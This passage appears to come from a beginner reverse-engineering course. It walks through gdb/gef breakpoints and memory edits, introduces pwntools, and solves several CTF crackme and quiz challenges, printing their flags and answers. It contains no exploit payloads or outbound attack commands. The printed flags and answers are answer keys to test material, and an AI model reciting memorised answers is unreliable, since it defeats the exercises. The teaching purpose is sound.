Let's say we wanted to break on the call to `puts`. We can do this by setting a breakpoint for that instruction.

Like this:

```
gef➤  b *main+25
Breakpoint 1 at 0x8048414
```

Or like this:

```
gef➤  b *0x08048414
Note: breakpoint 1 also set at pc 0x08048414
Breakpoint 2 at 0x08048414
```

When we run the binary and it tries to execute that instruction, the process will pause and drop us into the debugger console:

```
gef➤  r
Starting program: /home/devey/nightmare/modules/02-intro_tooling/hello_world
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────── registers
────
$eax   : 0xf7fb9dd8  →  0xffffd19c  →  0xffffd389  →  "CLUTTER_IM_MODULE=xim"
$ebx   : 0x0
$ecx   : 0xffffd100  →  0x00000001
$edx   : 0xffffd124  →  0x00000000
$esp   : 0xffffd0d0  →  0x080484b0  →  "hello world!"
$ebp   : 0xffffd0e8  →  0x00000000
$esi   : 0xf7fb8000  →  0x001d4d6c
$edi   : 0x0
$eip   : 0x08048414  →  0xfffeb7e8  →  0x00000000
$eflags: [zero carry PARITY ADJUST SIGN trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
──────────────────────────────────────────────────────────────── stack
────
0xffffd0d0│+0x0000: 0x080484b0  →  "hello world!"       ← $esp
0xffffd0d4│+0x0004: 0xffffd194  →  0xffffd34e  →  "/home/devey/nightmare/modules
/02-intro_tooling/hel[...]"
0xffffd0d8│+0x0008: 0xffffd19c  →  0xffffd389  →  "CLUTTER_IM_MODULE=xim"
0xffffd0dc│+0x000c: 0x08048451  →  <__libc_csu_init+33> lea eax, [ebx-0xf8]
0xffffd0e0│+0x0010: 0xf7fe59b0  →   push ebp
0xffffd0e4│+0x0014: 0xffffd100  →  0x00000001
0xffffd0e8│+0x0018: 0x00000000   ← $ebp
0xffffd0ec│+0x001c: 0xf7dfbe81  →  <__libc_start_main+241> add esp, 0x10
────────────────────────────────────────────────────────── code:x86:32
────
    0x8048409 <main+14>        sub    esp, 0x4
    0x804840c <main+17>        sub    esp, 0xc
    0x804840f <main+20>        push   0x80484b0
 →  0x8048414 <main+25>        call   0x80482d0 <puts@plt>
   ↳   0x80482d0 <puts@plt+0>     jmp    DWORD PTR ds:0x80496bc
       0x80482d6 <puts@plt+6>     push   0x0
       0x80482db <puts@plt+11>    jmp    0x80482c0
       0x80482e0 <__gmon_start__@plt+0> jmp    DWORD PTR ds:0x80496c0
       0x80482e6 <__gmon_start__@plt+6> push   0x8
       0x80482eb <__gmon_start__@plt+11> jmp    0x80482c0
──────────────────────────────────────────────────── arguments (guessed)
────
puts@plt (
   [sp + 0x0] = 0x080484b0 → "hello world!",
   [sp + 0x4] = 0xffffd194 → 0xffffd34e → "/home/devey/nightmare/modules/02-
intro_tooling/hel[...]"
)
─────────────────────────────────────────────────────────────── threads
────
[#0] Id 1, Name: "hello_world", stopped 0x8048414 in main (), reason: BREAKPOINT
───────────────────────────────────────────────────────────────── trace
────
```

```
[#0] 0x8048414 → main()
```

```
Breakpoint 1, 0x08048414 in main ()
gef➤
```

In the debugger console is where we can actually use the debugger to provide various types of analysis, and change things about the binary. For now let's keep looking at breakpoints. To show all breakpoints:

```
gef➤  info breakpoints
Num     Type           Disp Enb Address    What
1       breakpoint     keep y   0x08048414 <main+25>
    breakpoint already hit 1 time
2       breakpoint     keep y   0x08048414 <main+25>
```

or to be short, "info b" or "i b".

To delete a breakpoint Num `2`:

```
gef➤  delete 2
```

or to be short "del 2" or "d 2".

We can also set breakpoints for functions like `puts`:

```
gef➤  b *puts
Breakpoint 1 at 0x80482d0
gef➤  r
Starting program: /home/devey/nightmare/modules/02-intro_tooling/hello_world
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────── registers
────
$eax   : 0xf7fb9dd8  →  0xffffd19c  →  0xffffd389  →  "CLUTTER_IM_MODULE=xim"
$ebx   : 0x0
$ecx   : 0xffffd100  →  0x00000001
$edx   : 0xffffd124  →  0x00000000
$esp   : 0xffffd0cc  →  0x08048419  →  <main+30> add esp, 0x10
$ebp   : 0xffffd0e8  →  0x00000000
$esi   : 0xf7fb8000  →  0x001d4d6c
$edi   : 0x0
$eip   : 0xf7e4a360  →  <puts+0> push ebp
$eflags: [zero carry parity ADJUST SIGN trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
──────────────────────────────────────────────────────────────────────────── stack
────
0xffffd0cc│+0x0000: 0x08048419  →  <main+30> add esp, 0x10       ← $esp
0xffffd0d0│+0x0004: 0x080484b0  →  "hello world!"
0xffffd0d4│+0x0008: 0xffffd194  →  0xffffd34e  →  "/home/devey/nightmare/modules
/02-intro_tooling/hel[...]"
0xffffd0d8│+0x000c: 0xffffd19c  →  0xffffd389  →  "CLUTTER_IM_MODULE=xim"
0xffffd0dc│+0x0010: 0x08048451  →  <__libc_csu_init+33> lea eax, [ebx-0xf8]
0xffffd0e0│+0x0014: 0xf7fe59b0  →   push ebp
0xffffd0e4│+0x0018: 0xffffd100  →  0x00000001
0xffffd0e8│+0x001c: 0x00000000   ← $ebp
────────────────────────────────────────────────────────────────────── code:x86:32
────
   0xf7e4a356 <popen+134>      call   0xf7dfb608 <free@plt>
   0xf7e4a35b <popen+139>      add    esp, 0x10
   0xf7e4a35e <popen+142>      jmp    0xf7e4a333 <popen+99>
 → 0xf7e4a360 <puts+0>         push   ebp
   0xf7e4a361 <puts+1>         mov    ebp, esp
   0xf7e4a363 <puts+3>         push   edi
   0xf7e4a364 <puts+4>         push   esi
   0xf7e4a365 <puts+5>         push   ebx
   0xf7e4a366 <puts+6>         call   0xf7f17c89
────────────────────────────────────────────────────────────────────────── threads
────
[#0] Id 1, Name: "hello_world", stopped 0xf7e4a360 in puts (), reason:
BREAKPOINT
──────────────────────────────────────────────────────────────────────────── trace
────
[#0] 0xf7e4a360 → puts()
[#1] 0x8048419 → main()
─────────────────────────────────────────────────────────────────────────────────

Breakpoint 1, 0xf7e4a360 in puts () from /lib32/libc.so.6
```

Viewing Things

So one thing that gdb is really useful for is viewing the values of different things. Once we are dropped into a debugger while the process is viewing, let's view the contents of the `esp` register. To get there we will break on main, run, and then advance three instructions:

```
gef➤  break main
gef➤  run
gef➤  nexti
gef➤  nexti
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────── registers
────
$eax   : 0xf7fb9dd8  →  0xffffd19c  →  0xffffd389  →  "CLUTTER_IM_MODULE=xim"
$ebx   : 0x0
$ecx   : 0xffffd100  →  0x00000001
$edx   : 0xffffd124  →  0x00000000
$esp   : 0xffffd0d4  →  0xffffd194  →  0xffffd34e  →  "/home/devey/nightmare
/modules/02-intro_tooling/hel[...]"
$ebp   : 0xffffd0e8  →  0x00000000
$esi   : 0xf7fb8000  →  0x001d4d6c
$edi   : 0x0
$eip   : 0x0804840f  →  <main+20> push 0x80484b0
$eflags: [zero carry PARITY ADJUST SIGN trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
──────────────────────────────────────────────────────────────────────────── stack
────
0xffffd0d4│+0x0000: 0xffffd194  →  0xffffd34e  →  "/home/devey/nightmare/modules
/02-intro_tooling/hel[...]"      ← $esp
0xffffd0d8│+0x0004: 0xffffd19c  →  0xffffd389  →  "CLUTTER_IM_MODULE=xim"
0xffffd0dc│+0x0008: 0x08048451  →  <__libc_csu_init+33> lea eax, [ebx-0xf8]
0xffffd0e0│+0x000c: 0xf7fe59b0  →   push ebp
0xffffd0e4│+0x0010: 0xffffd100  →  0x00000001
0xffffd0e8│+0x0014: 0x00000000   ← $ebp
0xffffd0ec│+0x0018: 0xf7dfbe81  →  <__libc_start_main+241> add esp, 0x10
0xffffd0f0│+0x001c: 0xf7fb8000  →  0x001d4d6c
────────────────────────────────────────────────────────────────────── code:x86:32
────
    0x8048407 <main+12>        in     eax, 0x51
    0x8048409 <main+14>        sub    esp, 0x4
    0x804840c <main+17>        sub    esp, 0xc
 →  0x804840f <main+20>        push   0x80484b0
    0x8048414 <main+25>        call   0x80482d0 <puts@plt>
    0x8048419 <main+30>        add    esp, 0x10
    0x804841c <main+33>        mov    eax, 0x0
    0x8048421 <main+38>        mov    ecx, DWORD PTR [ebp-0x4]
    0x8048424 <main+41>        leave
────────────────────────────────────────────────────────────────────────── threads
────
[#0] Id 1, Name: "hello_world", stopped 0x804840f in main (), reason: SINGLE
STEP
──────────────────────────────────────────────────────────────────────────── trace
────
[#0] 0x804840f → main()
─────────────────────────────────────────────────────────────────────────────────

0x0804840f in main ()
gef➤  p 0x80484b0
```

```
$1 = 0x80484b0
gef➤  x/10c 0x80484b0
0x80484b0:      0x68    0x65    0x6c    0x6c    0x6f    0x20    0x77    0x6f
0x80484b8:      0x72    0x6c
gef➤  x/s 0x80484b0
0x80484b0:      "hello world!"

gef➤
```

We can see that the register `esp` holds the value `0xffffd0d0`, which is a pointer. Let's see what it points to:

```
gef➤  x/a 0xffffd0d0
0xffffd0d0:     0x80484b0
gef➤  x/10c 0x80484b0
0x80484b0:      0x68    0x65    0x6c    0x6c    0x6f    0x20    0x77    0x6f
0x80484b8:      0x72    0x6c
gef➤  x/s 0x80484b0
0x80484b0:      "hello world!"
```

So we can see that it points to the string `hello world!`, which will be printed by `puts` (since `puts` takes a single argument which is a char pointer). One thing in gdb when you examine things with `x`, you can specify what you want to examine it as. Possible things include as an address `x/a`, a number of characters `x/10c` string `x/s`, as a qword `x/g`, or as a dword `x/w`.

let's view the contents of all of the registers:

```
gef➤  info registers
eax            0xf7fb9dd8       0xf7fb9dd8
ecx            0xffffd100       0xffffd100
edx            0xffffd124       0xffffd124
ebx            0x0      0x0
esp            0xffffd0d0       0xffffd0d0
ebp            0xffffd0e8       0xffffd0e8
esi            0xf7fb8000       0xf7fb8000
edi            0x0      0x0
eip            0x8048414        0x8048414 <main+25>
eflags         0x296    [ PF AF SF IF ]
cs             0x23     0x23
ss             0x2b     0x2b
ds             0x2b     0x2b
es             0x2b     0x2b
fs             0x0      0x0
gs             0x63     0x63
```

Now let's view the stack frame:

```
gef➤  info frame
Stack level 0, frame at 0xffffd100:
 eip = 0x8048414 in main; saved eip = 0xf7dfbe81
 Arglist at 0xffffd0e8, args:
 Locals at 0xffffd0e8, Previous frame's sp is 0xffffd100
 Saved registers:
  ebp at 0xffffd0e8, eip at 0xffffd0fc
```

Now let's view the disassembly for the main function:

```
gef➤  disass main
Dump of assembler code for function main:
   0x080483fb <+0>:     lea    ecx,[esp+0x4]
   0x080483ff <+4>:     and    esp,0xfffffff0
   0x08048402 <+7>:     push   DWORD PTR [ecx-0x4]
   0x08048405 <+10>:    push   ebp
   0x08048406 <+11>:    mov    ebp,esp
   0x08048408 <+13>:    push   ecx
   0x08048409 <+14>:    sub    esp,0x4
   0x0804840c <+17>:    sub    esp,0xc
   0x0804840f <+20>:    push   0x80484b0
=> 0x08048414 <+25>:    call   0x80482d0 <puts@plt>
   0x08048419 <+30>:    add    esp,0x10
   0x0804841c <+33>:    mov    eax,0x0
   0x08048421 <+38>:    mov    ecx,DWORD PTR [ebp-0x4]
   0x08048424 <+41>:    leave
   0x08048425 <+42>:    lea    esp,[ecx-0x4]
   0x08048428 <+45>:    ret
End of assembler dump.
```

Changing Values

As you can see, we are at the instruction for puts.

Let's say we wanted to change the contents of what will be printed. Importantly, in many programs your ability to do this is dependent on the size of the string you are trying to replace. If you overwrite it with something that is too large, you run the risk of overwriting other memory and breaking the program. There are plenty of workarounds but this is rarely applicable from a bin-ex perspective.

```
gef➤  set {char [12]} 0x080484b0 = "hello venus"
gef➤  x/s 0x080484b0
0x80484b0:      "hello venus"
gef➤  nexti
hello venus
[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────── registers
────
$eax   : 0xc
$ebx   : 0x0
$ecx   : 0x0804a160  →  "hello venus\n"
$edx   : 0xf7fb9890  →  0x00000000
$esp   : 0xffffd0d0  →  0x080484b0  →  "hello venus"
$ebp   : 0xffffd0e8  →  0x00000000
$esi   : 0xf7fb8000  →  0x001d4d6c
$edi   : 0x0
$eip   : 0x08048419  →  <main+30> add esp, 0x10
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
─────────────────────────────────────────────────────────────────────── stack
────
0xffffd0d0│+0x0000: 0x080484b0  →  "hello venus"        ← $esp
0xffffd0d4│+0x0004: 0xffffd194  →  0xffffd34e  →  "/home/devey/nightmare/modules
/02-intro_tooling/hel[...]"
0xffffd0d8│+0x0008: 0xffffd19c  →  0xffffd389  →  "CLUTTER_IM_MODULE=xim"
0xffffd0dc│+0x000c: 0x08048451  →  <__libc_csu_init+33> lea eax, [ebx-0xf8]
0xffffd0e0│+0x0010: 0xf7fe59b0  →   push ebp
0xffffd0e4│+0x0014: 0xffffd100  →  0x00000001
0xffffd0e8│+0x0018: 0x00000000   ← $ebp
0xffffd0ec│+0x001c: 0xf7dfbe81  →  <__libc_start_main+241> add esp, 0x10
───────────────────────────────────────────────────────────────── code:x86:32
────
    0x804840c <main+17>        sub    esp, 0xc
    0x804840f <main+20>        push   0x80484b0
    0x8048414 <main+25>        call   0x80482d0 <puts@plt>
 →  0x8048419 <main+30>        add    esp, 0x10
    0x804841c <main+33>        mov    eax, 0x0
    0x8048421 <main+38>        mov    ecx, DWORD PTR [ebp-0x4]
    0x8048424 <main+41>        leave
    0x8048425 <main+42>        lea    esp, [ecx-0x4]
    0x8048428 <main+45>        ret
───────────────────────────────────────────────────────────────────── threads
────
[#0] Id 1, Name: "hello_world", stopped 0x8048419 in main (), reason: SINGLE
STEP
─────────────────────────────────────────────────────────────────────── trace
────
[#0] 0x8048419 → main()
────────────────────────────────────────────────────────────────────────────

0x08048419 in main ()
```

Now let's say we wanted to change the value stored at the memory address `0x08048451` to `0xfacade`:

```
gef➤  x/g 0x08048451
0x8048451 <__libc_csu_init+33>: 0xff08838d
gef➤  set *0x08048451 = 0xfacade
gef➤  x/g 0x08048451
0x8048451 <__libc_csu_init+33>: 0xfacade
```

Let's say we wanted to jump directly to an instruction like `0x08048451`, and skip all instructions in between:

```
gef➤  j *0x08048451
Continuing at 0x0x08048451.
```

That was a lot, keep referring to this, your notes, and GDB cheatsheets as you go along.

pwntools intro

Pwntools is a python ctf library designed for rapid exploit development. It essentially help us write exploits quickly, and has a lot of useful functionality behind it.

Also one thing to note, pwntools has Python2 and Python3 versions. Atm this course uses the Python2, but I have plans to switch it all over to Python3. Just keep in mind that some things change between Python2 to the Python3 versions, however the changes are relatively small.

Installation

It's fairly simple process. The installation process is pretty much just using pip:

```
$    sudo pip install pwn
```

If you have any problems, google will help a lot.

Using it

So this is going to be an explanation on how you do various things with pwntools. It will only cover a small bit of functionality.

If we want to import it into python:

```
from pwn import *
```

Now one thing that pwntools does for us, is it has some nice piping functionality which helps with IO. If we want to connect to the server at `github.com` (if you have an IP address, just swap out the dns name with the IP address) on port `9000` via tcp:

```
target = remote("github.com", 9000)
```

If you want to run a target binary:

```
target = process("./challenge")
```

If you want to attach the `gdb` debugger to a process:

```
gdb.attach(target)
```

If we want to attach the `gdb` debugger to a process, and also immediately pass a command to `gdb` to set a breakpoint at main:

```
gdb.attach(target, gdbscript='b *main')
```

Now for actual I/O. If we want to send the variable `x` to the `target` (target can be something like a process, or remote connection established by pwntools):

```
target.send(x)
```

If we wanted to send the variable `x` followed by a newline character appended to the end:

```
target.sendline(x)
```

If we wanted to print a single line of text from `target`:

```
print target.recvline()
```

If we wanted to print all text from `target` up to the string `out`:

```
print target.recvuntil("out")
```

Now one more thing, ELFs store data via least endian, meaning that data is stored with the least significant byte first. In a few situations where we are scanning in an integer, we will need to take this into account. Luckily pwntools will take care of this for us.

To pack the integer `y` as a least endian QWORD (commonly used for `x64`):

```
p64(x)
```

To pack the integer `y` as a least endian DWORD (commonly used for `x86`):

```
p32(x)
```

It can also unpack values we get. Let's say we wanted to unpack a least endian QWORD and get it's integer value:

```
u64(x)
```

To unpack a DWORD:

```
u32(x)
```

Lastly if just wanted to interact directly with `target`:

```
target.interactive()
```

This is only a small bit of the functionality pwntools has. You will see a lot more of the functionality later. If you want to see more of pwntools, it has some great docs: http://docs.pwntools.com/en/stable/

Csaw 2018 Tour of x86 pt 1

The goal of this challenge is to answer the following questions.

Starting off this challenge is meant to teach beginners a little bit about x86. The questions were only up during the competition, so I had to grab the questions that were asked from `https://github.com/mohamedaymenkarmous/CTF/tree/master/CSAWCTFQualificationRound2018#a-tour-of-x86---part-1`.

These questions are in regards to the `stage1.asm` file in this directory. That is just a text file which contains assembly code.

What is the value of dh after line 129 executes?

Line `129` is:

```
xor dh, dh  ; <- Question 1
```

This command is xoring the `dh` register with itself, and stores the value in the `dh` register. Due to how the binary operation xoring works, whenever you xor something by itself the result is 0. So the value of dh after line 129 executes is `0x0`.

What is the value of gs after line 145 executes?

Line `145` is:

```
mov gs, dx ; to use them to help me clear     <- Question 2
```

With this instruction the contents of the `dx` register get moved into the `gs` register. So we need to know the contents of the `dx` register. Looking a bit further up in the code, we see this (lines `131` and `132`):

```
mov dx, 0xffff  ; Hexadecimal
not dx
```

Here we see that the value `0xffff` is moved into the `dx` register, then noted. When a value is notted, the bits are flopped. And since with the value `0xffff`, all of the bits are `1s` (for 16 bit values), the result of `dx` will be zero. Also we see that between lines `132` and `145`, there is nothing that would change the value of `dx` to something other than `0x0`. So when the contents of `dx` gets moved into `gs`, the value of `gs` has to be `0x0`.

What is the value of si after line 151 executes?

Line `151` is:

```
mov si, sp ; Source Index       <- Question 3
```

So for this just moves the value of the Stack Pointer register into the Source Index register. In order to know what the value of `si` is after this, we need to know what the value of `sp` is. Looking up in the code, we see this on line `149`:

```
mov sp, cx ; Stack Pointer
```

So we know that the value of the `sp` register is equal to that of the `cx` register. Looking further up in the code, we see a comment telling us what it is (line 144):

```
  mov fs, cx ; already zero, I'm just going
```

And when we look at line 107, we can see where the register `cx` gets the value `0x0` assigned to it:

```
  mov cx, 0 ; The other two values get overwritten regardless, the value of ch
and cl (the two components that make up cx) after this instruction are both 0,
not 1.
```

What is the value of ax after line 169 executes?

Lines `168-169` are:

```
  mov al, 't'
  mov ah, 0x0e      ; <- question 4
```

This moves the value `0x0e` into the `ah` register, and moves the value `0x74` (hex for `t`) into the `al` register. Now the question asks about the `ax` register, which is a `16` bit register, comprised of the two `8` bit registers `al` and `ah`. Here is how this works:

15 14 13 12 11 10 9 8 7 6 5 4 3 2 1 0
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ | | | | AH | AL | | | |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+

The diagram above shows the 16 bits of the `ax` register. The lower 8 bits are comprised of the `al` register. The higher 8 bits are comprised of the `ah` register. Since the `al` register is equal to `0x74`, and the `ah` register is equal to `0x0e`, the `ax` register is equal to `0x0e74`.

What is the value of ax after line 199 executes for the first time?

Line `199` is:

```
    mov ah, 0x0e  ; <- Question 5!
```

So we see here that the value `0x0e` is loaded into the `ah` register. So from the previous question, we know that the higher 8 bits of the `ax` register must be equal to `0x0e`. That just leaves the question of the lower 8 bits. Looking at line 197 tells us the value which will be stored in the `al` register (lower 8 bits):

```
    mov al, [si]  ; Since this is treated as a dereference of si, we are getting
the BYTE AT si... `al = *si`
```

Looking here we can see that the dereferenced value of `si` is moved into `al`. So whatever value `si` is pointing to, is now the new value in the `al` register. Looking at line `189` helps with that:

```
    mov si, ax  ; We have no syntactic way of passing parameters, so I'm just going to pass the first argument of a function through ax - the string to print.
```

Here we see that the contents of `ax` is moved into `si`. Looking around a bit more we see this.

```
  ; First let's define a string to print, but remember...now we're defining junk data in the middle of code, so we need to jump around it so there's no attempt to decode our text string
  mov ax, .string_to_print
```

So here we see that an address to a string is loaded into the `ax` register. We can also see what string the address points to.

```
.string_to_print: db "acOS", 0x0a, 0x0d, "  by Elyk", 0x00  ; label: <size-of-elements> <array-of-elements>
```

and lastly we can just take a quick look at the entire loop where line `199` resides:

```
; Now let's make a whole 'function' that prints a string
print_string:
  .init:
    mov si, ax  ; We have no syntactic way of passing parameters, so I'm just
going to pass the first argument of a function through ax - the string to print.

  .print_char_loop:
    cmp byte [si], 0  ; The brackets around an expression is interpreted as "the
address of" whatever that expression is.. It's exactly the same as the
dereference operator in C-like languages
                        ; So in this case, si is a pointer (which is a copy of
the pointer from ax (line 183), which is the first "argument" to this
"function", which is the pointer to the string we are trying to print)
                        ; If we are currently pointing at a null-byte, we have
the end of the string... Using null-terminated strings (the zero at the end of
the string definition at line 178)
    je .end

    mov al, [si]  ; Since this is treated as a dereference of si, we are getting
the BYTE AT si... `al = *si`

    mov ah, 0x0e  ; <- Question 5!
    int 0x10      ; Actually print the character

    inc si        ; Increment the pointer, get to the next character
    jmp .print_char_loop
    .end:
```

Here is a loop that is printing all of the characters of the string. At the start of this loop the pointer points to the beginning of the string (line 197), then gets incremented (line 202) by one meaning that it moves on to the next character untill it hits the null byte (`0x0`), which the comparison happens at line 192. It will print each character with the interrupt a line `200` (check out https://en.wikipedia.org/wiki/INT_10H for more info, the value `0x0e` in the `ah` register is an argument to the interrupt). Since the first character of the string is `a` which in hex is `0x61` , the value of `al` the first time it is ran should be `0x61` . So the value of the `ax` register should be `0x0e61` .

pico ctf 2018 strings

The goal of this challenge is to find the flag

Let's take a look at the binary:

```
$    file strings
strings: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically
linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32,
BuildID[sha1]=e337b489c47492dd5dff90353eb227b4e7e69028, not stripped
$    ./strings
Have you ever used the 'strings' function? Check out the man pages!
```

So we can see that we are dealing with a `64` bit binary. When we run it, it tells us about `strings`. Strings is a program which will parse through a file, and display ascii strings it finds. Ghidra, binja, and a lot of other binary analysis tools also have this functionality. Let's try using `strings`

```
$    strings strings | grep {
picoCTF{sTrIngS_sAVeS_Time_3f712a28}
```

Like that, we found the flag! The flag was stored as a string within the binary, so using `strings` we can see it.

helithumper re

The goal of this challenge is to get the flag. This was a challenge made by Helithumper (github.com/helithumper). Let's take a look at the binary:

```
$    ./rev
Welcome to the Salty Spitoon™, How tough are ya?
Tough as Joseph, but not Jotaro
Yeah right. Back to Weenie Hut Jr™ with ya
$    file rev
rev: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked,
interpreter /lib64/ld-linux-x86-64.so.2,
BuildID[sha1]=e4dbcb1281821db359d566c68fea7380aeb27378, for GNU/Linux 3.2.0, not
stripped
```

So we can see that we are dealing with a `64` bit binary. When we run it, it prompts us for input. What is probably going on here, is it is scanning in data, and checking it. In order to get the flag, we will probably need to pass that check.

When we take a look at the main function in Ghidra, we see this (btw I cleaned up the code a little bit, what you see will probably look a little different):

```
ulong main(void)

{
  int check;
  void *ptr;

  ptr = calloc(0x32,1);
  puts("Welcome to the Salty Spitoon™, How tough are ya?");
  __isoc99_scanf(&DAT_0010203b,ptr);
  check = validate(ptr);
  if (check == 0) {
    puts("Yeah right. Back to Weenie Hut Jr™ with ya");
  }
  else {
    puts("Right this way...");
  }
  return (ulong)(check == 0);
}
```

So we can see that it is scanning in data to `ptr`, then running the `validate` function. We can see that the `validate` function does this:

```
undefined8 validate(char *input)

{
  long lVar1;
  size_t inputLen;
  undefined8 returnValue;
  long in_FS_OFFSET;
  int i;
  int checkValues [4];

  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  checkValues[0] = 0x66;
  checkValues[1] = 0x6c;
  checkValues[2] = 0x61;
  checkValues[3] = 0x67;
  inputLen = strlen(input);
  i = 0;
  do {
    if ((int)inputLen <= i) {
      returnValue = 1;
LAB_001012b7:
      if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
        __stack_chk_fail();
      }
      return returnValue;
    }
    if ((int)input[(long)i] != checkValues[(long)i]) {
      returnValue = 0;
      goto LAB_001012b7;
    }
    i = i + 1;
  } while( true );
}
```

So we can see that it essentially takes our input, and runs it though a while true loop. For each iteration of this loop, we see that it checks one character of our input against a character in `checkValues`. The character it checks depends on which iteration of the loop it is. For instance iteration `0` will check the character of our input at index `0`, iteration `2` will check the character of our input at index `2`, and so on:

```
    if ((int)input[(long)i] != checkValues[(long)i]) {
      returnValue = 0;
      goto LAB_001012b7;
```

We also see there is a termination condition where if the iteration count exceeds the length of the string, it will exit. That is because it has finished checking the string:

```
    if ((int)inputLen <= i) {
      returnValue = 1;
```

Now this check will either return a `1`, or a `0`. In order to solve this challenge, we need it to ouput a `1`. In order for that to happen, we can't fail any of the character checks. In order for that to happen our input needs to be the same as the characters it checks it against. Looking at the code, we see that the first four characters it sets. However looking at the assembly code shows us that there is more:

```
        00101205 c7 45 c0        MOV        dword ptr [RBP + 
checkValues[0]],0x66
                 66 00 00 00
        0010120c c7 45 c4        MOV        dword ptr [RBP + 
checkValues[1]],0x6c
                 6c 00 00 00
        00101213 c7 45 c8        MOV        dword ptr [RBP + 
checkValues[2]],0x61
                 61 00 00 00
        0010121a c7 45 cc        MOV        dword ptr [RBP + 
checkValues[3]],0x67
                 67 00 00 00
        00101221 c7 45 d0        MOV        dword ptr [RBP + local_38],0x7b
                 7b 00 00 00
        00101228 c7 45 d4        MOV        dword ptr [RBP + local_34],0x48
                 48 00 00 00
        0010122f c7 45 d8        MOV        dword ptr [RBP + local_30],0x75
                 75 00 00 00
        00101236 c7 45 dc        MOV        dword ptr [RBP + local_2c],0x43
                 43 00 00 00
        0010123d c7 45 e0        MOV        dword ptr [RBP + local_28],0x66
                 66 00 00 00
        00101244 c7 45 e4        MOV        dword ptr [RBP + local_24],0x5f
                 5f 00 00 00
        0010124b c7 45 e8        MOV        dword ptr [RBP + local_20],0x6c
                 6c 00 00 00
        00101252 c7 45 ec        MOV        dword ptr [RBP + local_1c],0x41
                 41 00 00 00
        00101259 c7 45 f0        MOV        dword ptr [RBP + local_18],0x62
                 62 00 00 00
        00101260 c7 45 f4        MOV        dword ptr [RBP + local_14],0x7d
                 7d 00 00 00
```

From this, we can get this list of bytes that our input needs to be:

```
0x66
0x6c
0x61
0x67
0x7b
0x48
0x75
0x43
0x66
0x5f
0x6c
0x41
0x62
0x7d
```

We can use python to convert them into ascii like so:

```
$    python
Python 2.7.16 (default, Apr  6 2019, 01:42:57)
[GCC 8.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> x = [0x66, 0x6c, 0x61, 0x67, 0x7b, 0x48, 0x75, 0x43, 0x66, 0x5f, 0x6c, 0x41,
0x62, 0x7d]
>>> input = ""
>>> for i in x:
...     input += chr(i)
...
>>> input
'flag{HuCf_lAb}'
```

So we can see that our needed input is `flag{HuCf_lAb}` which is probably the flag (we can tell this, since the flag is usually in a format similar to `flag{x}` , with `x` being some string):

```
$    ./rev
Welcome to the Salty Spitoon™, How tough are ya?
flag{HuCf_lAb}
Right this way...
```

Just like that we got the flag!

CSAW 2019 beleaf

When we take a look at the binary, we see this:

```
$    file beleaf
beleaf: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically
linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0,
BuildID[sha1]=6d305eed7c9bebbaa60b67403a6c6f2b36de3ca4, stripped
$    pwn checksec beleaf
[*] '/Hackery/pod/modules/3-beginner_re/csaw19_beleaf/beleaf'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
$    ./beleaf
Enter the flag
>>> 15935728
Incorrect!
```

So we can see that we are dealing with a `64` bit binary. When we run the binary, it prompts us for input. This is probably a crackme challenge. This is a type of challenge that scans in input, and checks it. The goal is to pass it the correct input, to pass whatever check it does.

Reversing

Looking at the main function at `0x1008a1`, we see this:

```c
undefined8 main(void)

{
  size_t inputLen;
  long transformedInput;
  long in_FS_OFFSET;
  ulong i;
  char input [136];
  long stackCanary;

  stackCanary = *(long *)(in_FS_OFFSET + 0x28);
  printf("Enter the flag\n>>> ");
  __isoc99_scanf(&DAT_00100a78,input);
  inputLen = strlen(input);
  if (inputLen < 0x21) {
    puts("Incorrect!");
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  i = 0;
  while (i < inputLen) {
    transformedInput = transformFunc(input[i]);
    if (transformedInput != *(long *)(&desiredOutput + i * 8)) {
      puts("Incorrect!");
                    /* WARNING: Subroutine does not return */
      exit(1);
    }
    i = i + 1;
  }
  puts("Correct!");
  if (stackCanary != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}
```

So we can see, it starts off by scanning in input. If our input is less than `0x21` (`33`) bytes, the code exits (so our input probably has to be `33`) bytes, Looking at it later, we see that it enters into a for loop. It will run each character through the `transformFunc` (or at least until the code calls `exit`). It will then compare the output of that functions (stored in `transformedInput`) against the corresponding character in the bss array `desiredOutput` (characters are stored at offsets of `8`) bytes. If the two are not equivalent, `exit` is called and we fail the challenge. We can see the contents of `desiredOutput` by double clicking on it. When we look at `desiredOutput` , we see this:

```
                                desiredOutput
 XREF[2]:     main:0010096b(*),

 main:00100972(R)
        003014e0 01              ??         01h
        003014e1 00              ??         00h
        003014e2 00              ??         00h
        003014e3 00              ??         00h
        003014e4 00              ??         00h
        003014e5 00              ??         00h
        003014e6 00              ??         00h
        003014e7 00              ??         00h
        003014e8 09              ??         09h
        003014e9 00              ??         00h
        003014ea 00              ??         00h
